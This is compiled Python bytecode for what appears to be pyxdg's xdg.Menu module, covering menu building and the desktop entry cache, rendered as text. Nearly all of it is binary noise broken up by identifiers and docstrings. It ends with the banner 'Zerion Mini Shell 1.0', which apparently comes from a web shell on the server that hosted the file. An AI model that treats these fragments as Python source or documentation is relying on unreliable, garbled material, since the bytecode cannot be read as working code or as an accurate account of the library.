@���7�7�>�>�"�'�'�,�,�s�I�">�?� )�)�S� 9�I��>�>�)2���"�*�*�,�	�0E�0E�E��>�>�1�1�3�y�7J�7J�J�6?�D�N�N�3�
@��~�~��
	rc���|jD]}|j|��|jdur�|jj	|j
�g}|jD]7}|j|jj|j
�d�}�9|D]U}|jdus�|jj|�d|_	d|_|jj|��Wyy)NFrpT)r?r_r=rZr�r6r>r�r�r�rrIr�r;�rArbrPr�rNrms      rr_z*XMLMenuBuilder.generate_not_only_allocateds����}�}�	6�G��,�,�W�5�	6����5�(��J�J�'�'����5��K��
�
�
W��"�j�j����)D�)D�T�\�\�)R�TU�V��
W�)�
7�	��=�=�D�(��%�%�,�,�T�2�$)�I�M�*.�I�'��$�$�+�+�I�6�
7�
)rc���|jD]}|j|��|jdur�|jj	|j
�g}|jD]7}|j|jj|j
�d�}�9|D]G}|jdus�|jj|�|jj|��Iyy)NTr�)
r?r`r=rZr�r6r>r�r�r�rrIr;r�s      rr`z&XMLMenuBuilder.generate_only_allocateds����}�}�	2�G��(�(��1�	2����4�'��J�J�'�'����5��K��
�
�
W��"�j�j����)D�)D�T�\�\�)R�TU�V��
W�(�
7�	��=�=�D�(��%�%�,�,�T�2��$�$�+�+�I�6�
7�(rc�v�|jD]}|j|��|jD�]}|j|j�}|s�"|j|j
�}|j
j
d�}d}t|�dkDrv|s|}|j|d�}|s:t�}|d|_	t|�dkDrd|_
|j|�|}|jd�t|�dkDr�v|z
}|jjj|���
y)NrorrpT)r?r]r<rsr�r�rqrrr*rr3rJrxr2r�)	rArbrPrO�move_from_menu�move_to_menur��	oldparentr�s	         rr]zXMLMenuBuilder.handle_moves$s���}�}�	'�G����g�&�	'��J�J�	F�D�!�\�\�$�(�(�3�N��#�|�|�D�H�H�5�������s�+�� �	��%�j�1�n�$�$(�	�'�/�/��a��9�G�"�"&�&��',�Q�x����u�:��>�/3�G�,�!�,�,�W�5� '�I��I�I�a�L��%�j�1�n��>�)���%�%�.�.�5�5�n�E�-	Frr�rD)r�r�r�rBrVr[rdr�r�r{r�r�rwrxryrzr}r~rr�r�r�r�r^r_r`r]r�rrrIrIbs����4�l�
2=�h �D	�	 �� �H)�
R�/�
_�6� �j�
0�4�
$�L�"6�r7�"7� FrrIc�,�eZdZdZd�Zdd�Zd�Zdd�Zy)	rYzClass to cache Desktop Entriesc�>�i|_g|jd<i|_y)N�legacy)�cacheEntriesrZr@s rrBzMenuEntryCache.__init__Cs!�����&(����(�#���
rc�v�|D]4}||jvs�g|j|<|j|d||��6y)Nr,)r��_MenuEntryCache__addFiles)rAr9rr�rs     rr�zMenuEntryCache.add_menu_entriesHsA���	:�D��4�,�,�,�*,��!�!�$�'�����b�&�&�9�	:rc�v�tjtjj||��D]�}|j	d�rl	ttjj||�||�}|j|j|�|s�a|jdj|���tjjtjj|||��s��|r��|j|tjj||�||���y#t$rY��wxYw)Nz.desktopr�)ryr�rtrzrTr�rr�rIr3r�)rAr�subdirrr�r�rms       r�
__addFileszMenuEntryCache.__addFilesNs����J�J�r�w�w�|�|�D�&�9�:�	R�D��}�}�Z�(�� )�"�'�'�,�,�v�t�*D�d�F� S�I��!�!�$�'�.�.�y�9���%�%�h�/�6�6�y�A������r�w�w�|�|�D�&�$�?�@������b�g�g�l�l�6�4�&@�&�&�Q�	R��$����s�	+D+�+	D8�7D8c�V�g}t�}|dd}|r|jd�dj|�}	|j|S#t$rYnwxYw|D]�}|j
|D]�}	|j|vr-|j|j�|j|�n_|j�tjk(r>|j|�}	||	}
|
j�tjk(r||
_
��#t$rY��wxYw��||j|<|S)Nr�r,)r�rIrzrZ�KeyErrorr�rir�rr�r�indexrrr�)rAr9r��entries�ids�appdirs�keyrrm�idxrfs           rr�zMenuEntryCache.get_menu_entries\s"�����e���q�'����N�N�8�$��g�g�g���	��:�:�c�?�"���	��	���
	�D�!�.�.�t�4�
�	�� �.�.�c�9����	� 7� 7�8����y�1�"�*�*�,�	�0E�0E�E�%�m�m�I�6�� '���� �=�=�?�i�.A�.A�A�-6�E�N��)�����
�
	�"��
�
�3���s$�A�	A�A�-BD�	D�DN)r,F)T)r�r�r�r�rBr�r�r�r�rrrYrYAs��$��
:�R�rrYc�6�t|�j|�S)zYHelper function.
    Equivalent to calling xdg.Menu.XMLMenuBuilder().parse(filename)
    )rIrV)r�rKs  rrVrV{s���%� �&�&�x�0�0rr.)1r�ryrr�rr�xml.etree.cElementTreerU�cElementTree�ImportError�xml.etree.ElementTree�ElementTree�xdg.BaseDirectoryrr�xdg.DesktopEntryr�xdg.Exceptionsr�xdg.utilr�
xdg.Localer��
xdg.Configrr"r�r�r�r�r�r�r*r�r:r�r�r�r�r2r4r6r<rArG�objectrIrYrVr�rr�<module>r�s
���&
�
��
�
�*�*�*�=�)�'����1����
�
�	������
��l)�l)�^	(�(���0,�,�^_"�_"�D�������)���#��\F�V�\F�~7�7�t1��A#�*�)�)�*�s�	C�C�C

Zerion Mini Shell 1.0